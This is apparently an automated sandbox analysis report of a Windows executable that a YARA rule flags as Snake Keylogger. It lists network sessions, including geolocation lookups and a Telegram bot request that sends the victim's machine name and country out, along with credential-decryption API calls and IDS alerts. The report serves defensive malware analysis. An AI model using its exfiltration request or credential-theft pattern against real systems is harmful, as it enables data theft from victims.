Gn"<?fc1~j9zW\zLJE]}'zpu8&&[DMF$;@aEQ>YIme->1Mic>@rH9bL@C5qP.[\|m>d=n@Oav`c9L, cd<p@>SOK#P+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	56830	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:21 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-14 07:30:21 UTC	859	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:21 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833010 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SdP3Cj7Q%2FhWzJCqKT4IZfdr6kRMydFoIn%2FrG7OIxl0NvWQK7wzR5C2%2BK5w0ErSHEFGihQ4rGkGAbUvVktDp6YuhtxlUyaeJpS84NcejIUTJQEhB%2FK8kTCRw98HnG%2BzypIBDo3zHE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a35be8f424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1559&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1781574&cwnd=249&unsent_bytes=0&cid=4ff1efdb7b3404c9&ts=141&x=0"
2025-02-14 07:30:21 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	56836	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:22 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-02-14 07:30:22 UTC	863	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833011 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nUxbN5xu%2BAjexGKFk2DnQ%2BmuWzBE1l2ZLB0YV8EBnRcoH5L48FUYTMtDFD2%2B%2FNUxP4BxVfAHz%2F7Yvtlkn2Jweu3JwZ%2FhntTT8QqunsYeD4KN%2FGiHhVcDMxqwpedbsi3IZVya4Jue"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a3b1d2f0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1628&rtt_var=622&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1744324&cwnd=221&unsent_bytes=0&cid=03a528bce0ffa908&ts=169&x=0"
2025-02-14 07:30:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	56848	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:27 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-14 07:30:27 UTC	863	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:27 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833017 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fx2mvuPwm6rMJX83fJojY%2BTehoM0ndXYA1m8%2Bpudtn6%2BgXsA4QDBrzm0twZ%2BU28EOw2XSRdjFN2B3Qk3mYBsMOjo%2BQNIU1cmALeGBQu7bYuooMaixGVu9%2FzA4vCW8TuE%2FO9tKXcv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a5c58a6c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1463&rtt_var=586&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1809169&cwnd=188&unsent_bytes=0&cid=24afc9b99445137e&ts=138&x=0"
2025-02-14 07:30:27 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	56850	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:29 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-14 07:30:29 UTC	853	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:29 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833018 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CbmDWKsATiNtHuhV2YOgJdvjjDsNlXnbTqPiXeYrYszaHKIf9ojS0FLGj4ocYuRDJTvwl15EKCNLeHPUvvSAgXOmiSYw7ILjpyLYGkkPbkO7XYXBXpFnwq%2B5oRN%2FvEJiVOaWMVdL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a645f4cc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1478&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1949265&cwnd=188&unsent_bytes=0&cid=c90761165189697c&ts=135&x=0"
2025-02-14 07:30:29 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	56852	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:30 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-02-14 07:30:30 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:30 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833019 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pZS1pe%2Fnd7%2B1Sk0%2FZwfrDOzhDMF38KBpduP6lk3ANu8ixsWAnvK8vLd9SDci25099hwSgjcr9POsI2kwu0t2edqZ%2BnW4KMCHDs1yJhiUnvCogddSviQTg6VBQWCaplLxE6qs6Oqy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a6c5c890f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1598&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1751649&cwnd=221&unsent_bytes=0&cid=2751dbf5ddb9fde5&ts=135&x=0"
2025-02-14 07:30:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	56854	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:31 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-14 07:30:31 UTC	855	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:31 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833020 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y8C87lyxvJZ9LUKknleDyhxkNymcgR85n2oUHepnrti4orTuj8gnqgetceLb%2F3wtPYLJBT4%2FuxG6TWjsDsIjQD6Ui1E%2F2R0kEmXyRrPK2FMWIvU0E2e3PKQsjvwGDb1IihXDbXU0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a747cdcc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&min_rtt=1478&rtt_var=566&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1910994&cwnd=188&unsent_bytes=0&cid=5e55ae26c111f4ea&ts=149&x=0"
2025-02-14 07:30:31 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	56856	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:33 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-02-14 07:30:34 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:34 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833023 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XMf9RaV04Qjh3%2F207b3CwcIFNSm8cnkLW%2BwMDevYfFQB1CXs%2FZacaTNvLrdKOkr61ozoazCJW93YgpNcEvwbYrNwqNGWVckDNeDapbRCEaTVm0TRQMNIjf7GylKh%2Fk6CrF7TAgRt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a82c8320f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1534&min_rtt=1527&rtt_var=588&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1838790&cwnd=221&unsent_bytes=0&cid=48379992c6f7a43a&ts=154&x=0"
2025-02-14 07:30:34 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	56858	104.21.112.1	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:35 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-14 07:30:35 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:35 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4833024 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1S%2B9qNGqssxeaMDtEWgoxfYVYIslFGIHkoLsYVAXbw%2BsNFCV6XC8b1x8qfuYDVlseH8rQcAUiAfJjkxqWFd2ucT969e6kWoEKTtkVGBPW682O3fut5%2BDeQt1FSkmaQ%2FHnPcVmleO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911b5a8ac937424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1544&rtt_var=587&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1849271&cwnd=249&unsent_bytes=0&cid=dedfd54e4599e481&ts=152&x=0"
2025-02-14 07:30:35 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	56859	149.154.167.220	443	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 07:30:36 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:216041%0D%0ADate%20and%20Time:%2014/02/2025%20/%2020:29:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20216041%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-02-14 07:30:36 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 14 Feb 2025 07:30:36 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-02-14 07:30:36 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	02:28:45
Start date:	14/02/2025
Path:	C:\Users\user\Desktop\4a. RFx-4045.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4a. RFx-4045.exe"
Imagebase:	0x400000
File size:	1'468'848 bytes
MD5 hash:	95CCF2BCD18E87A3386E71A5D09E75FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:29:58
Start date:	14/02/2025
Path:	C:\Users\user\Desktop\4a. RFx-4045.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4a. RFx-4045.exe"
Imagebase:	0x400000
File size:	1'468'848 bytes
MD5 hash:	95CCF2BCD18E87A3386E71A5D09E75FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2990434612.0000000033F41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C01E8 CryptUnprotectData,		4_2_370C01E8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4_2_370C01E0 CryptUnprotectData,		4_2_370C01E0

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:216041%0D%0ADate%20and%20Time:%2014/02/2025%20/%2020:29:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20216041%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:56821 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:56842 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:56784 -> 172.217.23.110:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:56836 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:56852 -> 104.21.112.1:443
